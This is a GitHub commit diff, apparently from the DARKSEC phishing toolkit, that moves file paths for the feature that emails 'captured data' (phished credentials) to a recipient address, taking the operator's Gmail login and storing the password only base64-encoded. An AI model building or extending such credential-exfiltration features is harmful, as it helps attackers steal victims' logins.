Hot Fix (Email Config Failure)

This commit is contained in:
AnonUD4Y 2020-05-29 01:00:24 +05:30 committed by GitHub
parent 73fe4a2403
commit 1db86fc5f3
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23

View File

@ -40,8 +40,8 @@ def captured_data_email_confirmation(port): # Ask user to start sending credent
choice = input( choice = input(
"\n\n{0}[{1}?{0}] Send Captured Data To Recipient Email Address.\nSend_Email(y/n)>> {2}".format(default_palette[0], default_palette[4], default_palette[2])).upper() "\n\n{0}[{1}?{0}] Send Captured Data To Recipient Email Address.\nSend_Email(y/n)>> {2}".format(default_palette[0], default_palette[4], default_palette[2])).upper()
if choice == 'Y' or choice == 'y': if choice == 'Y' or choice == 'y':
if path.isfile('Defs/Send_Email/emailconfig.py') == True: if path.isfile('Defs/FeatureManager/EmailManager/emailconfig.py') == True:
system('python3 Defs/Send_Email/SendEmail.py') system('python3 Defs/FeatureManager/EmailManager/SendEmail.py')
else: else:
print( print(
'[ERROR!]: NO CONFIG FILE FOUND ! PLEASE CREATE CONFIG FILE FIRST TO USE THIS OPTION.') '[ERROR!]: NO CONFIG FILE FOUND ! PLEASE CREATE CONFIG FILE FIRST TO USE THIS OPTION.')
@ -66,35 +66,35 @@ def captured_data_email_configuration_prompt():
{1}http://github.com/darksecdevelopers {1}http://github.com/darksecdevelopers
{0}** BY: {1}DARKSEC {0}**'''.format(default_palette[0], default_palette[2])) {0}** BY: {1}DARKSEC {0}**'''.format(default_palette[0], default_palette[2]))
print("-------------------------------\n{0}[ PROMPT: CONFIG EMAIL CREDENTIAL FILE ]{1}!! {0}\n-------------------------------".format(default_palette[0], default_palette[4])) print("-------------------------------\n{0}[ PROMPT: CONFIG EMAIL CREDENTIAL FILE ]{1}!! {0}\n-------------------------------".format(default_palette[0], default_palette[4]))
#run_command('cp Defs/Send_Email/EmailConfigDefault.py Defs/Send_Email/emailconfig.py') #run_command('cp Defs/FeatureManager/EmailManager/EmailConfigDefault.py Defs/FeatureManager/EmailManager/emailconfig.py')
copyfile('Defs/FeatureManager/EmailManager/EmailConfigDefault.py', 'Defs/FeatureManager/EmailManager/emailconfig.py') copyfile('Defs/FeatureManager/EmailManager/EmailConfigDefault.py', 'Defs/FeatureManager/EmailManager/emailconfig.py')
GMAILACCOUNT = input("{0}[{1}+{0}] Enter Your Gmail Username:{1} ".format(default_palette[0], default_palette[4])) GMAILACCOUNT = input("{0}[{1}+{0}] Enter Your Gmail Username:{1} ".format(default_palette[0], default_palette[4]))
with open('Defs/Send_Email/emailconfig.py') as f: with open('Defs/FeatureManager/EmailManager/emailconfig.py') as f:
read_data = f.read() read_data = f.read()
c = read_data.replace('GMAILACCOUNT', GMAILACCOUNT) c = read_data.replace('GMAILACCOUNT', GMAILACCOUNT)
f = open('Defs/Send_Email/emailconfig.py', 'w') f = open('Defs/FeatureManager/EmailManager/emailconfig.py', 'w')
f.write(c) f.write(c)
f.close() f.close()
print("{0}[.] {1}Email Address Added To config File. !\n".format(default_palette[0], default_palette[4])) print("{0}[.] {1}Email Address Added To config File. !\n".format(default_palette[0], default_palette[4]))
GMAILPASSWORD = getpass.getpass( GMAILPASSWORD = getpass.getpass(
"{0}[{1}+{0}] Enter Your Gmail Password:{1} ".format(default_palette[0], default_palette[4])) "{0}[{1}+{0}] Enter Your Gmail Password:{1} ".format(default_palette[0], default_palette[4]))
with open('Defs/Send_Email/emailconfig.py') as f: with open('Defs/FeatureManager/EmailManager/emailconfig.py') as f:
read_data = f.read() read_data = f.read()
GMAILPASSWORD = base64.b64encode(GMAILPASSWORD.encode()) GMAILPASSWORD = base64.b64encode(GMAILPASSWORD.encode())
GMAILPASSWORD = (GMAILPASSWORD.decode('utf-8')) GMAILPASSWORD = (GMAILPASSWORD.decode('utf-8'))
c = read_data.replace('GMAILPASSWORD', GMAILPASSWORD) c = read_data.replace('GMAILPASSWORD', GMAILPASSWORD)
f = open('Defs/Send_Email/emailconfig.py', 'w') f = open('Defs/FeatureManager/EmailManager/emailconfig.py', 'w')
f.write(c) f.write(c)
f.close() f.close()
print("{0}[.] {1}Password(Encoded) Added To config File. !\n".format(default_palette[0], default_palette[4])) print("{0}[.] {1}Password(Encoded) Added To config File. !\n".format(default_palette[0], default_palette[4]))
RECIPIENTEMAIL = input( RECIPIENTEMAIL = input(
"{0}[{1}+{0}] Enter Recipient Email:{1} ".format(default_palette[0], default_palette[4])) "{0}[{1}+{0}] Enter Recipient Email:{1} ".format(default_palette[0], default_palette[4]))
with open('Defs/Send_Email/emailconfig.py') as f: with open('Defs/FeatureManager/EmailManager/emailconfig.py') as f:
read_data = f.read() read_data = f.read()
c = read_data.replace('RECIPIENTEMAIL', RECIPIENTEMAIL) c = read_data.replace('RECIPIENTEMAIL', RECIPIENTEMAIL)
f = open('Defs/Send_Email/emailconfig.py', 'w') f = open('Defs/FeatureManager/EmailManager/emailconfig.py', 'w')
f.write(c) f.write(c)
f.close() f.close()
print("{0}[.] {1}Recipient Email Address Added To config File. !\n".format(default_palette[0], default_palette[4])) print("{0}[.] {1}Recipient Email Address Added To config File. !\n".format(default_palette[0], default_palette[4]))
print( print(
'\n\n{0}[{1}SUCCESS{0}]: Created Config File & Saved To (Defs/Send_Email/Config.py)'.format(default_palette[0], default_palette[4])) '\n\n{0}[{1}SUCCESS{0}]: Created Config File & Saved To (Defs/FeatureManager/EmailManager/Config.py)'.format(default_palette[0], default_palette[4]))